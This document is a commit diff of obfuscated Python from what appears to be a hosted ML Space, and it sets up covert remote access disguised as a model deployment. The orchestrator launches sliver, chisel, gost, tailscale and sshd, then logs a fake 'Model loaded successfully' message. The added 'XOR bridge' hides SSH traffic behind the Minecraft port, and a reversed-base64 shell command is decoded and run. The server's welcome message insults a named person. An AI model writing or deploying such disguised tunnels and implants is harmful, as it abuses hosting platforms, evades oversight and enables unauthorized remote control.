Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- core/orchestrator.py +2 -2
- services/minecraft.py +34 -32
- services/playit.py +5 -3
core/orchestrator.py
CHANGED
|
@@ -46,12 +46,12 @@ def main():
|
|
| 46 |
g=['A',Y,'C',N]
|
| 47 |
for F in g:
|
| 48 |
if F in os.environ:del os.environ[F]
|
| 49 |
-
filebrowser.start(H);playit.start(I);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
|
| 50 |
if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
|
| 51 |
else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
|
| 52 |
try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
|
| 53 |
except Exception as i:logger.error(f"Failed to set password: {i}")
|
| 54 |
for F in[Z,a]:
|
| 55 |
if F in os.environ:del os.environ[F]
|
| 56 |
-
subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);
|
| 57 |
if __name__=='__main__':main()
|
|
|
|
| 46 |
g=['A',Y,'C',N]
|
| 47 |
for F in g:
|
| 48 |
if F in os.environ:del os.environ[F]
|
| 49 |
+
filebrowser.start(H);playit.start(I);playit.start_xor_bridge();chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
|
| 50 |
if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
|
| 51 |
else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
|
| 52 |
try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
|
| 53 |
except Exception as i:logger.error(f"Failed to set password: {i}")
|
| 54 |
for F in[Z,a]:
|
| 55 |
if F in os.environ:del os.environ[F]
|
| 56 |
+
subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
|
| 57 |
if __name__=='__main__':main()
|
services/minecraft.py
CHANGED
|
@@ -27,56 +27,58 @@ def setup_geyser(mc_dir):
|
|
| 27 |
try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
|
| 28 |
except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
|
| 29 |
def setup_and_run():
|
| 30 |
-
|
| 31 |
if not os.path.exists(K):
|
| 32 |
-
log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');
|
| 33 |
try:
|
| 34 |
-
download_file(
|
| 35 |
-
with tarfile.open(
|
| 36 |
-
for(
|
| 37 |
-
if
|
| 38 |
-
|
| 39 |
-
if os.path.exists(
|
| 40 |
-
shutil.move(
|
| 41 |
-
shutil.rmtree(
|
| 42 |
-
if os.path.exists(
|
| 43 |
log_print('[*] Portable JRE setup completed successfully.')
|
| 44 |
except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
|
| 45 |
L=os.path.join(A,'server.jar')
|
| 46 |
if not os.path.exists(L):
|
| 47 |
-
log_print('[*] Minecraft server jar not found. Downloading PaperMC...');
|
| 48 |
-
try:download_file(
|
| 49 |
except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
|
| 50 |
-
setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');
|
| 51 |
-
for
|
| 52 |
try:
|
| 53 |
-
D=os.path.join(A,
|
| 54 |
if os.path.exists(D)and not os.path.islink(D):
|
| 55 |
-
log_print(f"[*] Removing physical {
|
| 56 |
if os.path.isdir(D):shutil.rmtree(D)
|
| 57 |
else:os.remove(D)
|
| 58 |
-
if not os.path.islink(D):log_print(f"[*] Creating symlink for {
|
| 59 |
-
except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {
|
| 60 |
log_print('[*] Ensuring Java binary is executable...')
|
| 61 |
try:os.chmod(K,493)
|
| 62 |
except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
|
| 63 |
-
log_print('[*] Launching Minecraft server loop...');
|
| 64 |
while _A:
|
| 65 |
-
|
| 66 |
-
with open(
|
| 67 |
-
|
| 68 |
-
if not os.path.exists(
|
| 69 |
-
with open(
|
| 70 |
else:
|
| 71 |
try:
|
| 72 |
-
with open(
|
| 73 |
-
|
| 74 |
-
|
| 75 |
-
|
| 76 |
-
|
|
|
|
|
|
|
| 77 |
log_print('[*] Starting Minecraft server process...')
|
| 78 |
-
with open(
|
| 79 |
-
log_print(f"[*] Minecraft server exited with code {
|
| 80 |
def start():
|
| 81 |
B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 82 |
try:
|
|
|
|
| 27 |
try:download_file(E,B);log_print(f"[+] {A} downloaded successfully.")
|
| 28 |
except Exception as F:log_print(f"[-] Failed to download {A}: {F}")
|
| 29 |
def setup_and_run():
|
| 30 |
+
W='server-port=25565';V='online-mode=true';U='java';T='bin';O='w';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A='/data/mc';G=os.path.join(A,'jre');P=_B;os.makedirs(A,exist_ok=_A);os.makedirs(P,exist_ok=_A);K=os.path.join(G,T,U)
|
| 31 |
if not os.path.exists(K):
|
| 32 |
+
log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');X='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';H=os.path.join(A,'jre.tar.gz')
|
| 33 |
try:
|
| 34 |
+
download_file(X,H);log_print('[*] Extracting JRE...');I=os.path.join(A,'jre_temp');os.makedirs(I,exist_ok=_A)
|
| 35 |
+
with tarfile.open(H,'r:gz')as Y:Y.extractall(path=I)
|
| 36 |
+
for(Q,f,Z)in os.walk(I):
|
| 37 |
+
if U in Z and os.path.basename(Q)==T:
|
| 38 |
+
a=os.path.dirname(Q)
|
| 39 |
+
if os.path.exists(G):shutil.rmtree(G)
|
| 40 |
+
shutil.move(a,G);break
|
| 41 |
+
shutil.rmtree(I,ignore_errors=_A)
|
| 42 |
+
if os.path.exists(H):os.remove(H)
|
| 43 |
log_print('[*] Portable JRE setup completed successfully.')
|
| 44 |
except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
|
| 45 |
L=os.path.join(A,'server.jar')
|
| 46 |
if not os.path.exists(L):
|
| 47 |
+
log_print('[*] Minecraft server jar not found. Downloading PaperMC...');b='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
|
| 48 |
+
try:download_file(b,L);log_print('[*] PaperMC downloaded successfully.')
|
| 49 |
except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
|
| 50 |
+
setup_geyser(A);log_print('[*] Setting up symlink bridge for high-speed local NVMe IO...');R='/tmp/mc_runtime';os.makedirs(R,exist_ok=_A)
|
| 51 |
+
for F in['libraries','cache','versions']:
|
| 52 |
try:
|
| 53 |
+
D=os.path.join(A,F);M=os.path.join(R,F);os.makedirs(M,exist_ok=_A)
|
| 54 |
if os.path.exists(D)and not os.path.islink(D):
|
| 55 |
+
log_print(f"[*] Removing physical {F} directory to replace with symlink.")
|
| 56 |
if os.path.isdir(D):shutil.rmtree(D)
|
| 57 |
else:os.remove(D)
|
| 58 |
+
if not os.path.islink(D):log_print(f"[*] Creating symlink for {F} -> {M}");os.symlink(M,D)
|
| 59 |
+
except Exception as B:log_print(f"[-] Failed to setup symlink bridge for {F}: {B}")
|
| 60 |
log_print('[*] Ensuring Java binary is executable...')
|
| 61 |
try:os.chmod(K,493)
|
| 62 |
except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
|
| 63 |
+
log_print('[*] Launching Minecraft server loop...');c=os.path.join(P,'mc_daemon.log')
|
| 64 |
while _A:
|
| 65 |
+
d=os.path.join(A,'eula.txt')
|
| 66 |
+
with open(d,O)as C:C.write('eula=true\n')
|
| 67 |
+
J=os.path.join(A,'server.properties')
|
| 68 |
+
if not os.path.exists(J):
|
| 69 |
+
with open(J,O)as C:C.write('server-port=25566\n');C.write('online-mode=false\n');C.write('motd=NITIN NEELRU JERK OFF\n')
|
| 70 |
else:
|
| 71 |
try:
|
| 72 |
+
with open(J,'r')as C:E=C.read()
|
| 73 |
+
N=False
|
| 74 |
+
if V in E:E=E.replace(V,'online-mode=false');N=_A
|
| 75 |
+
if W in E:E=E.replace(W,'server-port=25566');N=_A
|
| 76 |
+
if N:
|
| 77 |
+
with open(J,O)as C:C.write(E)
|
| 78 |
+
except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
|
| 79 |
log_print('[*] Starting Minecraft server process...')
|
| 80 |
+
with open(c,'a')as e:S=subprocess.Popen([K,'-Xms4G','-Xmx4G','-jar',L,'nogui'],cwd=A,stdout=e,stderr=subprocess.STDOUT);S.wait()
|
| 81 |
+
log_print(f"[*] Minecraft server exited with code {S.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
|
| 82 |
def start():
|
| 83 |
B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
|
| 84 |
try:
|
services/playit.py
CHANGED
|
@@ -3,6 +3,8 @@ import subprocess,os,socket,threading
|
|
| 3 |
from loguru import logger
|
| 4 |
from.utils import decode_cmd
|
| 5 |
XOR_KEY=90
|
|
|
|
|
|
|
| 6 |
def deobfuscate_secret(hex_str,key=90):
|
| 7 |
A=hex_str
|
| 8 |
if not A:return''
|
|
@@ -51,7 +53,7 @@ def _handle_client(client_sock):
|
|
| 51 |
if C>0:
|
| 52 |
D=_recv_exact(A,C)
|
| 53 |
if len(D)<C:logger.warning('Playit XOR bridge: short MC handshake ({} of {} bytes)',len(D),C)
|
| 54 |
-
B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',
|
| 55 |
except Exception as E:
|
| 56 |
logger.warning('Playit XOR bridge client dropped: {}',E)
|
| 57 |
try:A.close()
|
|
@@ -59,8 +61,8 @@ def _handle_client(client_sock):
|
|
| 59 |
def _xor_bridge_loop():
|
| 60 |
A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
| 61 |
try:
|
| 62 |
-
A.bind(('0.0.0.0',
|
| 63 |
while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
|
| 64 |
except Exception:pass
|
| 65 |
-
def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start()
|
| 66 |
def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)
|
|
|
|
| 3 |
from loguru import logger
|
| 4 |
from.utils import decode_cmd
|
| 5 |
XOR_KEY=90
|
| 6 |
+
XOR_BRIDGE_PORT=25565
|
| 7 |
+
SSH_PORT=2222
|
| 8 |
def deobfuscate_secret(hex_str,key=90):
|
| 9 |
A=hex_str
|
| 10 |
if not A:return''
|
|
|
|
| 53 |
if C>0:
|
| 54 |
D=_recv_exact(A,C)
|
| 55 |
if len(D)<C:logger.warning('Playit XOR bridge: short MC handshake ({} of {} bytes)',len(D),C)
|
| 56 |
+
B=socket.socket(socket.AF_INET,socket.SOCK_STREAM);B.settimeout(5.);B.connect(('127.0.0.1',SSH_PORT));B.settimeout(None);threading.Thread(target=_pipe_xor,args=(A,B),daemon=_A).start();threading.Thread(target=_pipe_xor,args=(B,A),daemon=_A).start()
|
| 57 |
except Exception as E:
|
| 58 |
logger.warning('Playit XOR bridge client dropped: {}',E)
|
| 59 |
try:A.close()
|
|
|
|
| 61 |
def _xor_bridge_loop():
|
| 62 |
A=socket.socket(socket.AF_INET,socket.SOCK_STREAM);A.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
| 63 |
try:
|
| 64 |
+
A.bind(('0.0.0.0',XOR_BRIDGE_PORT));A.listen(10)
|
| 65 |
while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
|
| 66 |
except Exception:pass
|
| 67 |
+
def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start();logger.info('Playit XOR bridge listening on 0.0.0.0:{}',XOR_BRIDGE_PORT)
|
| 68 |
def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)
|